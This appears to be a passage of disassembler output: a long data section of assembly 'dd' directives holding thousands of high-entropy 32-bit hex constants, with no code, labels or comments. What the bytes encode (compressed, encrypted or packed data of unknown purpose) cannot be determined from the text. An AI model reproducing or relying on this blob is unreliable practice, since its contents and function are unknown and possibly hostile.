		dd 7641B660h, 0BB0574h,	87093926h, 31421755h, 6CE894A3h
		dd 0B746DAh, 0A0FE71ACh, 0BB7C0E7Bh, 8600B0EAh,	0E137672h
		dd 0C483660Ah, 9200A81Fh, 0A37D1763h, 0B4A42545h, 1C1D08D9h
		dd 78B49822h, 62BB1289h, 0CB5C0121h, 3AEA5DA4h,	44ACD848h
		dd 95E24019h, 1E4D59Fh,	35E0CEDBh, 355DB6C3h, 0CCA5C014h
		dd 10304F51h, 9B04FB7Ch, 2271D817h, 0E7DC4405h,	0DCA07085h
		dd 90011875h, 0DE8738EFh, 6E21BD22h, 3AE86030h,	0D48A1E44h
		dd 451C0900h, 0D28EEBFDh, 0B4E8200Fh, 0A80C259Ah, 4DD07C5Eh
		dd 879D869h, 0B621433Eh, 0FD956D85h, 0CF08412h,	7548A04Bh
		dd 0B32A28B4h, 8C86C8h,	0A811CB18h, 0FEE762FBh,	67914F0Dh
		dd 0AC30D010h, 0E3BD29A4h, 2A310BACh, 0AAC05h, 56833CD0h
		dd 0E0C84DEEh, 0E0724930h, 0D10BB40Fh, 6B7CC0F3h, 52EA71Ch
		dd 91FB0F78h, 0E7A8B041h, 0C1EA6D31h, 0B832BFC3h, 0EC000F3Bh
		dd 82D924B2h, 8C03A5B9h, 812C6E4Ah, 3389B628h, 43311CE5h
		dd 0DDD9EDD8h, 0AB500701h, 456DD4CAh, 0D248D3CBh, 904E698h
		dd 0EF8549A2h, 17BC645Ch, 8985C53h, 0E8B0086h, 0B97DB7B8h
		dd 0B300612Dh, 0D5FF63B6h, 0AE1D91F4h, 0DE88A260h, 76854920h
		dd 0F022C74Ah, 72E94F5Dh, 61660732h, 0A5C402Fh,	0F06D2D9Bh
		dd 0CC1100E0h, 0D0546251h, 2848748Bh, 0C8012F24h, 41C7A518h
		dd 0A8202B4Fh, 5A4DABh,	7433944Ah, 0DAD1701Ch, 687F5702h
		dd 82C4CD73h, 624CD4CAh, 964667Ch, 0F0F89E25h, 7E3E6C79h
		dd 9CA8CC2Eh, 944CF311h, 20D140DEh, 0EB2B1FEDh,	83306D08h
		dd 13910856h, 0E4270F89h, 364B00C0h, 2B5D692Eh,	0F500D012h
		dd 0B8E89CC2h, 0F0D9876Ah, 8F290553h, 0C46EDEADh, 0A088039Eh
		dd 59214AAFh, 8F0D0019h, 100854C6h, 0E4015925h,	0E73A0068h
		dd 0D999D6E1h, 34485FD4h, 79288488h, 4BE9488h, 0C6D53952h
		dd 0E16C82FEh, 0A168235Fh, 77310FDAh, 91E22934h, 0B053EE8Dh
		dd 68C63A85h, 6E7BD031h, 12804C6Ch, 88BA2B76h, 0E69E2E13h
		dd 0B146531Eh, 4370A955h, 62CD22E5h, 0ADC4F00Fh, 0D10DAE02h
		dd 0FB0E0018h, 2B42B00Bh, 463D0101h, 0D22D1CE1h, 3CE4FEh
		dd 7875F363h, 0AF33DB72h, 1E00F898h, 7343124Fh,	19AB2F9h
		dd 297721ACh, 41760ABDh, 882C0DCh, 733088EFh, 395DB417h
		dd 2CF6DCF5h, 0B8815B0h, 1940601Ch, 147FE887h, 0B443F71Bh
		dd 0DEA28121h, 3074E214h, 84EE92B8h, 0A9570068h, 58BE3643h
		dd 0A5142C25h, 1090A497h, 0BC88B3CDh, 189810AFh, 82EF3C36h
		dd 91CA7782h, 0D0A4DE55h, 6D693173h, 714D230Ch,	0D3DD04F4h
		dd 0C4083BE2h, 0B8B91645h, 0BF62BC01h, 0D4AE0CD0h, 290056C0h
		dd 0A5BB8121h, 0BF03E979h, 87F74C2Fh, 2C99FC60h, 0EC98B724h
		dd 884FF811h, 1E005B9Ch, 4FA3C856h, 325A2DFCh, 0D9900671h
		dd 8110C519h, 0F4B987DEh, 0B920C8A0h, 0C51E745Ch, 0EF43ED19h
		dd 1F0E7C14h, 204FC04Bh, 0B3662779h, 0BC4F6C20h, 1D760097h
		dd 573B90EAh, 11C0BDF3h, 1B44D015h, 0E69F01C1h,	7F372DABh
		dd 9164F83Dh, 7393DC03h, 188A45A2h, 39BBF330h, 7B0039EDh
		dd 0B8BC61B6h, 786B048Eh, 0FF5100EBh, 47328BA2h, 460BF723h
		dd 80EA1C2Fh, 0EE8106FAh, 67780060h, 0D017FA49h, 0A60EDBAh
		dd 0D76DBD21h, 24F00C9h, 1985E11h, 0BE00E34Ah, 6AED3F8Bh
		dd 7568873Bh, 0C49E61BDh, 0DB79F18Ah, 8B1D411Eh, 0E9FABB06h
		dd 4C1C0310h, 3E35C09Bh, 68A498F2h, 11D9428Eh, 0D689007Ah
		dd 983091A7h, 518117Ch,	255E00C3h, 4128CEF1h, 88988BBBh
		dd 86C1B60Ch, 441C4068h, 0A63773ABh, 0BB325948h, 0C5062FF3h
		dd 9103A1D4h, 0A43485A8h, 8600EDCFh, 465B6C56h,	8A100054h
		dd 0A2F5F11Ch, 0A0A0379Bh, 0B8A8BEF3h, 8500CB63h, 252AD4Bh
		dd 18F583C7h, 20239245h, 3EC94E53h, 326F00E7h, 7338D566h
		dd 76931E18h, 691F0C0Ch, 98ACE948h, 48FEA8C8h, 0ED4F00B4h
		dd 682856DEh, 7B670C18h
		dd 0F5F5BA39h, 80D2C611h, 0FA1A0C41h, 0CACAD7Dh, 0B81FA2FEh
		dd 0F00CE3B8h, 29D0AA79h, 49106FD9h, 6885C809h,	0A23F809Fh
		dd 0C100D382h, 2249D184h, 18550E7h, 2B90054Fh, 57B9F355h
		dd 410E5F80h, 7E6A2E20h, 0E439166Ch, 2FD3A0Fh, 84D56523h
		dd 8C78A97Ch, 60983895h, 0F8AE797Eh, 0F97EABACh, 2015C50Fh
		dd 9EE494A6h, 0C1E4B08h, 1AE92751h, 0F84CC8F0h,	0A8C305DAh
		dd 90084FBBh, 0F8266782h, 2522B9h, 50CFFEBDh, 0D7EF8707h
		dd 3667A732h, 0FF784110h, 0DAC622D2h, 901790A0h, 0F40E578Dh
		dd 5D3580D1h, 0FB595E40h, 7AA0BB55h, 0BC6902E6h, 0F2ED4DFEh
		dd 4F2240A4h, 20C0746Ch, 998A182Bh, 1742F971h, 0CC06E00h
		dd 0FF5EA0D9h, 478500D0h, 0F510A822h, 0D3B9E73h, 0EF5A8705h
		dd 0F3234358h, 6A590784h, 0E033E330h, 0FA230D6Bh, 5F651C14h
		dd 44862B84h, 5F108D90h, 85F3188Ah, 0D2BF19h, 653CE6Bh
		dd 168C487Eh, 99A8A303h, 89B2E8BDh, 78239577h, 7554EE0Ah
		dd 81901CA1h, 4EC1C779h, 0A6433A3h, 88F75633h, 4AC8F610h
		dd 0A02274A8h, 636B12D0h, 4D9102E0h, 0C0A00B5Ch, 0E1998604h
		dd 7584501Ch, 4C15A980h, 600BDFh, 839DC8F1h, 70F6C57Bh
		dd 0AE330A13h, 0EE664444h, 2361C80h, 56D60040h,	0BD4E1324h
		dd 4724A270h, 0FA94A406h, 0A408B590h, 6514BE29h, 0EB3A0C9Ch
		dd 6774A844h, 7188A48h,	520CB8E9h, 0EB297Ch, 0D6475429h
		dd 0D517BE9Dh, 2CB0624Dh, 0BB065D9Ch, 64491FF7h, 328A89BDh
		dd 45184C20h, 208045F3h, 0EBA77394h, 0FDF79CA9h, 3E0332Ch
		dd 0EEC8EF99h, 0B75AB25h, 2885D531h, 2C29B400h,	8D004F98h
		dd 77D49AA7h, 99FDA167h, 27211F4h, 301D6E32h, 73D8400Ch
		dd 71EC67AAh, 80A18CF3h, 6FC43604h, 0E8CAB846h,	24510C12h
		dd 60D88C50h, 900112F6h, 0D567F54Ch, 843039E3h,	101D43F0h
		dd 0BA087FC3h, 0BD9316F7h, 7EC83430h, 773D003Eh, 0A7205B65h
		dd 32EAE3ECh, 70561C02h, 0C1BE4E3Fh, 3B0CA090h,	0A08FE388h
		dd 8236F7ACh, 0AF00B466h, 7B512414h, 7E077C48h,	538F705Ah
		dd 3439E0D4h, 0D1729998h, 9B3A32A6h, 36AD0167h,	6F40F9FCh
		dd 50CEE841h, 7A4F309h,	97D1C8E9h, 0A460D7F0h, 3C30F1D3h
		dd 0F3694445h, 887F2942h, 0C022BF1h, 38973F0Fh,	44614050h
		dd 62EF0090h, 9205DE3Ah, 6500D85Bh, 0F419309Fh,	0E0E980h
		dd 63D15E2Eh, 0CC26B33h, 70BE5324h, 66212364h, 4498118Ah
		dd 0CF1E8510h, 60705424h, 1BC17805h, 0B8E6C980h, 0ECF22E1Ch
		dd 0C8511010h, 11704066h, 570C093Ah, 1922E8BBh,	776B1E43h
		dd 88D0E4D0h, 0C60CD5BAh, 91E9D9h, 0EBD04DA9h, 6A547E0Bh
		dd 22099073h, 19234C78h, 5FD4E170h, 0A411C00Eh,	0B8C3872Ch
		dd 36DECC12h, 27A300ABh, 23F63D06h, 21046448h, 182A91A8h
		dd 0B3F986F3h, 0C99E0E24h, 1E005B4Ah, 19070AA2h, 0D621C402h
		dd 40AF1BFAh, 817865F8h, 27DC3298h, 3D60DD0Eh, 0A5123511h
		dd 8434F886h, 9367BC44h, 0A7CA415Fh, 243A3E83h,	9F85BC50h
		dd 179866FEh, 6DA44047h, 0E49F4662h, 0E98094ABh, 0F914A3D7h
		dd 8F8C5017h, 0C96300A4h, 2C706B42h, 3BE80FB6h,	0D404E944h
		dd 480ACBF0h, 196A38D2h, 7CC21438h, 0C2BD2512h,	5E2369BCh
		dd 3C190024h, 0B7552329h, 0C10AAE68h, 143BD9BEh, 0BFA06201h
		dd 94478E0Fh, 21F6D88Dh, 337513D9h, 0F8D02260h,	281DF3Fh
		dd 8523A2FFh, 10B8CC49h, 14A74A3h, 31AB1B41h, 62E9BB01h
		dd 580C0AE4h, 0D741B090h, 0C055A852h, 0BB5B1306h, 51814460h
		dd 0A7391160h, 30B9B4h,	0CA6068B5h, 0D42899A2h,	0F570C016h
		dd 5B67E602h, 4174405Ah, 534484FDh, 800C3036h, 0D9E87079h
		dd 95664000h, 8228A326h, 0CFA7DB4h, 0C9B9072h, 5E4127D8h
		dd 45F1E860h, 6AA1F820h, 8430F203h, 741E2F40h, 0EE811419h
		dd 0CA2CC46Fh, 38F2145Ch, 8272181Fh, 59169B19h,	0D1AB5140h
		dd 3A60C600h, 29EAA3E8h, 4A337A0Eh, 52184868h, 96C8F467h
		dd 6F7432E9h, 3508F719h, 0E021D098h, 54670A14h,	2AFE0814h
		dd 736BBD80h, 58E0C7C4h, 0AA39CC29h, 6DBEFA82h,	0F069E41Dh
		dd 6360316Eh, 4C645810h, 3078226Ch, 6D510D51h, 0C10777A3h
		dd 7B9D478Ch, 0A865ED70h, 6B481605h, 0E95C04DFh, 306E22FCh
		dd 44840104h, 0DA078AD2h, 71A2430Bh, 0ECCBBE14h, 6850BB3Bh
		dd 78B1C6h, 9C58BE1Ah, 922428B3h, 0C010DC8Ah, 0C8B260C8h
		dd 0A4872F81h, 0C86C49D4h, 0E6924C00h, 36AFEE0Ah, 4E03CE4h
		dd 409F516h, 0F34FB48h,	0DC2072D9h, 98A10BD6h, 8BE82441h
		dd 5006111Ch, 0C588BF08h, 7D5E0051h, 0C891CD36h, 0D7F4D660h
		dd 0C76781C0h, 74F19F3h, 0EFFB3163h, 0C15500DCh, 6138BBF6h
		dd 0BE270FD5h, 3698C33Bh, 0A4A8A034h, 0F3B92499h, 6E0C41FCh
		dd 88718E91h, 68723A2h,	1CB0138Ch, 2D006CCCh, 1A086C9Bh
		dd 10AC2C46h, 11FF8428h, 0B9DBC646h, 2188400Eh,	60C72F02h
		dd 0D178AB61h, 75320446h, 8CBF5266h, 5A3553F4h,	1CD00A8Ah
		dd 0F8FE31C1h, 61660067h, 35077762h, 50129EE4h,	4C045D38h
		dd 2482C8C4h, 664119F1h, 64240364h, 347728Bh, 138B5E1h
		dd 0F490CF30h, 5C0080B8h, 8FE54232h, 5B5078h, 46F86B14h
		dd 0C02D24F5h, 0A065BE24h, 20F0CE52h, 0E8B98327h, 0DEB9FB00h
		dd 261D09Eh, 0A3A25F7Fh, 84C768D7h, 26002911h, 0DA2D7D74h
		dd 0AA04D297h, 0A3BB33DCh, 191960C2h, 0BCCC145Ah, 0E11A0065h
		dd 5E745F9Dh, 0D70AA6E6h, 0CCE5F531h, 80882715h, 10C5C25Bh
		dd 0E4F65930h, 87342608h, 8A00DB11h, 0DAB73B37h, 52F02AE7h
		dd 681E0C00h, 4D2B5879h, 0BC0099A2h, 40905525h,	5B00ED68h
		dd 0D99E7158h, 0E7421Ah, 0C0597E82h, 0A5155422h, 10C09B48h
		dd 288890D0h, 0CF4C93B9h, 0AFF8A80Bh, 149748ACh, 5F80E098h
		dd 25BC4C69h, 460085E2h, 91665796h, 17C9D5B8h, 3816E332h
		dd 7C8875F8h, 48B47F18h, 0CE0767F8h, 11781B32h,	237BA2AFh
		dd 0E0172488h, 94BB5967h, 4A3700B0h, 0FC4279FFh, 6800BEB2h
		dd 59CFFB0Fh, 7ACDAEDDh, 998A2693h, 9FD54004h, 0F42E7AE1h
		dd 9A605C27h, 3A1590h, 4A1FC3AEh, 0D7FB89AAh, 8021711Eh
		dd 0C066035Ch, 51158891h, 0B500E80Fh, 5510C991h, 231D0111h
		dd 5F40BEF0h, 4926752h,	99122966h, 0C48A009Ch, 0D0A9BA6Bh
		dd 0A893AE00h, 0CD0CD4BFh, 0EC7308B8h, 68191094h, 0A8346931h
		dd 0C1A44E8h, 0B9835134h, 6F59C831h, 0ABFC0h, 0EEF712C1h
		dd 687D3F11h, 3BA3D448h, 1D3E897Eh, 29B899D8h, 23A4C014h
		dd 382584D0h, 0F0641807h, 70C548D7h, 9FD45D83h,	9D08F698h
		dd 57452B02h, 60B17F1Ch, 8139FE48h, 3100DBC6h, 3EFAF5A4h
		dd 76F3098Ah, 23422C07h, 27BC6ACCh, 0FD099082h,	40665F11h
		dd 50182810h, 9C456700h, 20FAB831h, 6E138436h, 4C016305h
		dd 0A4C25AD6h, 0F4012F83h, 0CA611835h, 0E2009046h, 0FE9BC556h
		dd 0B420E0h, 40897C5Ah,	0B092A016h, 93EFC316h, 0C5BAF849h
		dd 0A7CA81B8h, 807098A4h, 632F4D69h, 0A83780h, 8DDA088Ah
		dd 43571366h, 0F34AC1F2h, 0DF72D844h, 41E12h, 9A6B4306h
		dd 8B7647C8h, 4621EA06h, 4470C391h, 0FC4EBA92h,	199E7472h
		dd 61881050h, 498DF0A8h, 7D22D87Bh, 0F6BFDE03h,	0B8D6412Bh
		dd 25CB5Dh, 0AA33FFD4h,	8A685B30h, 8462FD09h, 0ABC44F6h
		dd 0D7C6C0FBh, 0DDB480E8h, 66D04A17h, 0A62D6702h, 615240B7h
		dd 61FC31E0h, 0E8AE507Dh
		dd 4558861Dh, 8087C8B4h, 0ADF7B727h, 4003532h, 0DB84B5E2h
		dd 2EFCC1B6h, 18F1D7A5h, 0D47390Ch, 0EE663601h,	6B3F3070h
		dd 58698C4h, 0CEFACA8Bh, 0EAE881BCh, 246D0822h,	9DD865C2h
		dd 0D62CE06Ch, 0E8005442h, 9D036EE4h, 418B2763h, 0A579F838h
		dd 10277891h, 6130D0h, 8D1EA9D6h, 0EF567F87h, 72F1E8C2h
		dd 18112F10h, 1641D5C6h, 0EFB00E8Ch, 710F216Dh,	370049AEh
		dd 939BADFBh, 399CC848h, 4486202Ah, 0E50113D2h,	7F4F1C5h
		dd 0C84CDBB8h, 14C35563h, 13C822F4h, 8022514h, 0A164539Ch
		dd 86F0C853h, 76B4000h,	0A20802A3h, 80C4623Ch, 0BD00DFCAh
		dd 4AD49A6Ch, 0F32C724Fh, 9219DC90h, 4463D700h,	53F83569h
		dd 0CEAD0F5Bh, 4865910Ch, 0A768C365h, 0A9D322C4h, 0D0981BB0h
		dd 1CE58142h, 0C0A41EB6h, 195F0DD3h, 0B0002955h, 8DD4CFA0h
		dd 0D4AFFAEAh, 0ED3B8049h, 10F86845h, 4FCC17DCh, 4B861A1h
		dd 2436B325h, 0C5217300h, 2E9C53D1h, 279302E8h,	0A2330A12h
		dd 0BA1E0448h, 808C2C41h, 9C35A7ACh, 6A300F0h, 0B9133EF1h
		dd 0F30884F5h, 1062EBFFh, 825AC83Ch, 0EA2015E3h, 0A0DAD442h
		dd 0A819B242h, 62F391C3h, 0BEE3006Ch, 9F80DF79h, 649200B2h
		dd 5F94852Eh, 563BFE2Ah, 0D73E817Eh, 0DCB22016h, 0BB8AE86Ch
		dd 0BD420174h, 3054B7C0h, 90904330h, 21469930h,	0F3556F1h
		dd 13F790CAh, 0BC847020h, 0D22FD331h, 593C8D69h, 4CB5020h
		dd 4D8B4F17h, 0F9948C20h, 380CEB5Ch, 0E040CF98h, 3943C4B2h
		dd 92E71CA2h, 58140F0Dh, 0D8B490F6h, 0CA01E4F4h, 0E92F05EFh
		dd 9C42BDC9h, 92219F0h,	0EF164C41h, 1C1CB205h, 0A4009F6Eh
		dd 0C137D207h, 5C87590h, 0BAE08DEEh, 4E4A5DBh, 6CA081CAh
		dd 18E9109Ch, 3E61F020h, 0C600BCD4h, 0C00C9DCBh, 2A001455h
		dd 49670FCDh, 14787B4Ch, 0EF7E7A4Dh, 43F06D1Ch,	0E273F73Ah
		dd 0F071EBB9h, 476148E6h, 88EF7908h, 79636C0h, 63C3A772h
		dd 7EB901A6h, 642080F2h, 0AA5288A2h, 765C0178h,	0CCD5F997h
		dd 0DE4180B8h, 36445A18h, 6F700604h, 703398F0h,	79EEFC19h
		dd 60C0CA88h, 23D206DEh, 76A92578h, 52D69800h, 0A1917457h
		dd 134100B4h, 8CA026C1h, 0E1F8CAA7h, 18009998h,	0D43479Dh
		dd 0C37CF9D6h, 0ED767B79h, 6DD5611Bh, 78B7E0D9h, 547C50C8h
		dd 5E698880h, 0DC7BA0A1h, 0D6005CECh, 0BED88625h, 0CA539E7Ah
		dd 911CC4E0h, 0E45918B9h, 937E08h, 0CB2D7C23h, 0FE0BA199h
		dd 65B55B00h, 0C979CAAh, 0FCF83014h, 12990A89h,	0A4FDA000h
		dd 812325F6h, 86B3000Ch, 1BF9DFC2h, 42E19A20h, 0E2213098h
		dd 0E6004159h, 0AE60C25Ch, 5B38F279h, 881348CAh, 4354F507h
		dd 53E26118h, 0EA318403h, 0FC45E5C7h, 1E8C4ED4h, 938B2320h
		dd 0DF0221E2h, 4AB051Ch, 880C40E1h, 4D558831h, 0D2D949C3h
		dd 0D0A7C85Dh, 0C5050E1h, 0A4FF00A3h, 28DFCDFAh, 408847A5h
		dd 0E8110663h, 81F4F9E9h, 7ADAEF02h, 91C3778Eh,	21F66FD0h
		dd 81D15D7Bh, 27A18619h, 39A8F45Fh, 0D3AF0864h,	4C1143C3h
		dd 0F1528607h, 0D0A1309Dh, 750570EBh, 1FDEFBF0h, 9C5B840Ah
		dd 72FC7460h, 6F878055h, 0C8AD3F0Ah, 7114F9ABh,	888C24A0h
		dd 80075342h, 0D6652F7Ch, 146B02BAh, 66588552h,	9171A841h
		dd 7D0C0B28h, 4FE9DD24h, 8D47F400h, 3C3FA177h, 988A6029h
		dd 70D8DA1Ah, 0E9D5FC30h, 3EDFB1E4h, 0F62C6Eh, 3FF677DCh
		dd 24859396h, 80A6FBFAh, 7B796B61h, 9448DD77h, 19313DACh
		dd 8D2AEB09h, 42F40422h, 8671BA13h, 0F8519750h,	188CA65Ah
		dd 51D3FFFCh, 92140E6Fh, 508E7B0h, 50E2C854h, 0F2781800h
		dd 71EAD0F1h, 0EC29CCF4h, 2A846FA0h, 98D01578h,	9A81C08Dh
		dd 0E934795Ch, 99586900h, 70372F01h, 852B0497h,	8F78C2D6h
		dd 8CFB3E04h, 50C8C193h, 527D88EEh, 0B1349101h,	0CCB6B02Ch
		dd 39FFE5D8h, 48E1EC4Fh, 8D9748Eh, 0F74A04C1h, 87ECA1D6h
		dd 78AD4098h, 0EC9175FCh, 6906B511h, 0F1420F13h, 0E0DBFF04h
		dd 0E8ECAAC6h, 0B281DE03h, 9810A006h, 6450C229h, 1376887Ch
		dd 27A7EB0Ah, 8893B83Fh, 17C00030h, 724E00CFh, 899431A0h
		dd 9A00E385h, 0D31481CDh, 0A33BAB5h, 0ECF53DCFh, 44AF64E4h
		dd 0A88CFDEAh, 0F06B00FFh, 70B26F72h, 0C1078D13h, 22471E3Dh
		dd 0D5EC918Dh, 0D9E80852h, 3F3EC0FBh, 2CBF80A7h, 7A349421h
		dd 0FD523CD0h, 0A12FC301h, 20A46971h, 4D499A3Fh, 0FDEB0C98h
		dd 0E2379F5h, 0FF3AC18Ah, 14960A21h, 0D79CE017h, 70154Ch
		dd 92465A7Fh, 0AB4C9374h, 0C3BDA0A4h, 81CE0C39h, 0D589DC73h
		dd 0A98E6A32h, 0A04459h, 0B1844097h, 0F0DF482Bh, 40D21926h
		dd 38077303h, 6FE80020h, 0B3701432h, 26000231h,	0AE74D79Fh
		dd 7B30CBAFh, 296E0037h, 83A84EA5h, 621DE187h, 0B7805011h
		dd 0C4B9C686h, 18EBEAF1h, 78E0CFF2h, 9229D613h,	0D809463h
		dd 66EFAFE2h, 984B001Bh, 37F433F6h, 500A52Eh, 0DFD969C1h
		dd 0F8E9FCDDh, 449D2D6h, 971F53Ch, 0C8709348h, 28FC9329h
		dd 13C7B282h, 48F9FE27h, 4C80EDCCh, 56DE7F2Fh, 5ECE020Eh
		dd 0B7F0E623h, 0F58D044h, 9D3A80D4h, 1C107FBh, 0AD5152E3h
		dd 0D8C555D5h, 0BC165C44h, 68009C63h, 39ABCED9h, 1BB1024Dh
		dd 0F6FBEB89h, 5073B4A7h, 0BC5BDFDEh, 31A14334h, 4FAFF480h
		dd 4AB9C085h, 0B6F0E809h, 760F24E4h, 0A0584229h, 6904F7BEh
		dd 525E0085h, 2572DC5Dh, 78158E49h, 3BF040F5h, 497BC4C0h
		dd 7181EC62h, 21C0D009h, 0AAFCC1Ch, 0B1022B7Ch,	0A06A4B37h
		dd 0F142DFB7h, 17198880h, 0C400B4F1h, 0E7FACCEFh, 0B013D42Ah
		dd 331509B1h, 24104970h, 370E5446h, 10F86Bh, 360BF0EEh
		dd 356700D2h, 82FFA0DFh, 9C07B4C1h, 104B502Ch, 711B4010h
		dd 8010908Ah, 0A0BAF108h, 0A8F6F814h, 2E3CBCh, 0D1813BFFh
		dd 63A93EE2h, 7C376500h, 4AE64151h, 1D24076Ah, 81D7A4C1h
		dd 0CBE11F3Eh, 29F16FC0h, 5C7B6702h, 0E06CDF9Ah, 0A56178h
		dd 5EC169D5h, 0C9F81C0Eh, 453E70B8h, 13EC2h, 2B136735h
		dd 2881F3D8h, 0C085DC7h, 8CC0D60Ch, 0AC01DEF9h,	0FA37BCA7h
		dd 0B180F10Fh, 9187CF86h, 0D7059D45h, 0C720B48Fh, 6E4DF602h
		dd 0B0846060h, 8EE720CCh, 768846FCh, 0E9EA3B2Eh, 644CFABCh
		dd 0F2247783h, 0B0D87FC3h, 8F241AFCh, 0FF08A4F9h, 0F0D8BDCCh
		dd 0A72B6E80h, 2200A650h, 0B73560B3h, 8E0348h, 3E01FC28h
		dd 704067E5h, 0F8F0831Fh, 8135C0ACh, 0E07DC81Eh, 0D69603C9h
		dd 0DEE13C17h, 135AB9Eh, 0D9B2CD07h, 404FED72h,	44603B1Ch
		dd 28145200h, 25D0DA70h, 766F3C89h, 979D589Eh, 592406C4h
		dd 537A69DFh, 5C00DDE4h, 0D6EB6DF0h, 57A8E5Dh, 0A0655488h
		dd 0DE6C80E8h, 0F003F973h, 2239EB03h, 8871007Bh, 23E9B921h
		dd 5DEE3414h, 4A124C70h, 7443A819h, 0EF7F8A6h, 7A78E7C9h
		dd 1CFE3C00h, 0C80079E2h, 1913D30Eh, 40DC724h, 0C5D6B347h
		dd 34A7AAh, 0D00F14CDh,	7F2DC646h, 26560080h, 70038ADFh
		dd 0D498BEC3h, 2F6F322h, 8E51A5E2h, 0C8A5EC75h,	0DF84818Ch
		dd 65B07003h, 63FCE740h, 330E21EFh, 0D360BDE8h,	80312128h
		dd 0DF50F877h, 988BE398h, 1BFA2C4h, 2582B59Ch, 0F175ABB2h
		dd 0F59FCC30h, 0E918F27Bh, 0FC3138FEh, 4061DFD6h, 626ABFD4h
		dd 9A0010BBh, 0FB9C039Dh, 4C2445D6h, 48CB445Eh,	0ED996010h
		dd 0F91A3000h, 0D2A0E813h, 5CC7EEB1h, 0A13A78FDh, 1FEC4889h
		dd 880F4405h, 43009038h
		dd 0F884F4D2h, 4719150h, 79EAF994h, 0F52C8242h,	59A2120h
		dd 36FA0386h, 4EBF8A7Dh, 0A8C85FB0h, 6CB8B604h,	60B032CFh
		dd 0EB304058h, 38228724h, 2B7FE140h, 0A0A612DBh, 0C938C8D6h
		dd 54D2B201h, 69703DB5h, 82377020h, 29A630C3h, 4CA2B909h
		dd 27F30FD5h, 54B01F9Bh, 0DD31FCh, 4ACF247Ch, 0B4689974h
		dd 0A43D0401h, 0A130A6F0h, 1C32D061h, 4ED14500h, 0F195D7CBh
		dd 14BC315Ch, 88F0A6F4h, 372082C0h, 5DE08CF8h, 5700EA73h
		dd 0E775D98Bh, 26B69C8Ah, 40A44807h, 0D4F72853h, 0DA2C1B03h
		dd 0D03758A0h, 2B093BFh, 0E02BC6D0h, 848EF6D5h,	390CC586h
		dd 28747B24h, 0C8C38A4Fh, 130450A4h, 30D05C8Fh,	1D77D68h
		dd 0FBF94FBDh, 72C7EB88h, 0B903776Ch, 18DAD944h, 0DB5CC07Ah
		dd 84F803E5h, 0FCD48258h, 0B3C61EEh, 6F021364h,	0B2C03460h
		dd 619F6DAh, 0AEC25238h, 0D00111B1h, 0D6ECCA31h, 998C7AC1h
		dd 6E79DC59h, 0DD65E800h, 0BC1BC688h, 0BB1D18F7h, 119D2975h
		dd 0BE427A01h, 0C843FF3Ch, 39C170h, 0A0BA88CBh,	641E3036h
		dd 0AA19BC07h, 0F8111489h, 4747F9Bh, 98D6887Dh,	19A96100h
		dd 0B4D10677h, 58A9909Fh, 7D253FFBh, 8CC74805h,	4E8E5F9Ch
		dd 5B7862A6h, 0FD086B19h, 0EA2C5004h, 14B0F996h, 0A2811C07h
		dd 0C90B9EFFh, 0D407F1DCh, 20AE58C6h, 0C8AF2600h, 2C14D6B6h
		dd 8E8B9DAh, 2C267A21h,	94F7B160h, 7DEC005Fh, 77AE4AFFh
		dd 0AA02A609h, 4FCE22E8h, 735082C5h, 42C311C1h,	2CC4595Ch
		dd 7613EB0Fh, 5DCEE0DCh, 40EC78F2h, 484CD310h, 0D44783B4h
		dd 0B892D36Fh, 0E370469h, 0D2646D73h, 6AC7F842h, 0C0A04CC0h
		dd 71D7FB30h, 5E574Fh, 85516E7Ch, 763D5C35h, 270041F8h
		dd 0D91F8726h, 5095B281h, 2032C0A7h, 6B5096F0h,	689A6554h
		dd 11E1FB21h, 740200D8h, 76EF9EDEh, 0B4B2009Ah,	53E231EDh
		dd 0C09C70A5h, 0DA88E390h, 44BF0F80h, 4CB45E2h,	331D692Ah
		dd 0A54CC456h, 0A47440B4h, 0E3E6771h, 194330B9h, 265489E5h
		dd 800DDC7h, 86067A2Ch,	0B18122h, 0B21762CDh, 5DBE6804h
		dd 2C21A600h, 9941DEF1h, 798125DFh, 8BCF0AAh, 7480F9FCh
		dd 4C95B79Ah, 0C5A1121Bh, 0E73C90AEh, 0CF7DFA5Fh, 0F734C701h
		dd 0F4A14FFEh, 0D022B83Dh, 86BFF02h, 60F25460h,	2B5974h
		dd 57A519D6h, 7B70110Bh, 51E2420Ch, 4AEAD110h, 0FCFC4BFDh
		dd 0A86A5410h, 0FAE8F704h, 9CCC206Dh, 72C730D6h, 8C95F1E9h
		dd 0D5234200h, 0C0194971h, 0D291C8E0h, 0DCC2869Ch, 0C84D545Dh
		dd 4AF5EA2Ch, 87F84BCEh, 90C88409h, 6D005F09h, 0E3153867h
		dd 0DB9F9Eh, 93EF0C97h,	6927B12Eh, 101038B1h, 796AD509h
		dd 0B481D41Eh, 648917D7h, 0D2AC00C8h, 11E4F788h, 5600BAD6h
		dd 7C841D14h, 1C1B831Eh, 0E881F1h, 5C67E6EEh, 1001DF40h
		dd 87B9FFDAh, 0E7E06B7Eh, 3CCB0050h, 3027C7E0h,	0E212ECD2h
		dd 8408F88h, 0D774C0E6h, 0FBF7036Ch, 95EE381Fh,	0F5EB3BCBh
		dd 0C8AE54F8h, 75D2A8A3h, 2DABD020h, 0FBDE2D09h, 0EDDCD023h
		dd 0E51A3988h, 7014C301h, 34B232C1h, 0F588E0F2h, 0DB8101A9h
		dd 74380910h, 0C10841ADh, 0E114415Ah, 6C2252h, 0FF57627Dh
		dd 0C5EF194Fh, 40DE2478h, 96CC03C0h, 7302C001h,	305104CFh
		dd 0DAE0C39Eh, 13E3049Fh, 20D96098h, 2BECC2BDh,	0FC22C9F2h
		dd 313300EFh, 0D5756A03h, 0A4912836h, 9EBA3F80h, 4A66F747h
		dd 0F644978h, 90233848h, 0FF051900h, 0C0168BFh,	44AF3F21h
		dd 4BDE4080h, 0C878C47Ch, 0C8390F69h, 770218h, 0A618BC53h
		dd 63CD5A24h, 5C06D15Ah, 8899DD74h, 0EDA4D34h, 6B502A81h
		dd 416EBCC0h, 8B035CEFh, 0C71DED9Dh, 0C00EB8C9h, 0D4F74839h
		dd 7490F68Bh, 0D70EACC2h, 9DAD6984h, 0DCD46E52h, 9CEFE408h
		dd 5D834152h, 6BB2D2E2h, 240D4A0h, 0D8A103F8h, 0B4C83F32h
		dd 5FEAE5D3h, 73115C93h, 63934A00h, 8A4EB269h, 14599703h
		dd 0C2587554h, 914CD048h, 5079BA04h, 8F80EFh, 0DE43C1DFh
		dd 4EC7975Ch, 3CA4F600h, 691C14B6h, 0AC742850h,	5BC60068h
		dd 920E6DF7h, 4674580Fh, 59DBFC30h, 37D5135h, 0FDDA12D4h
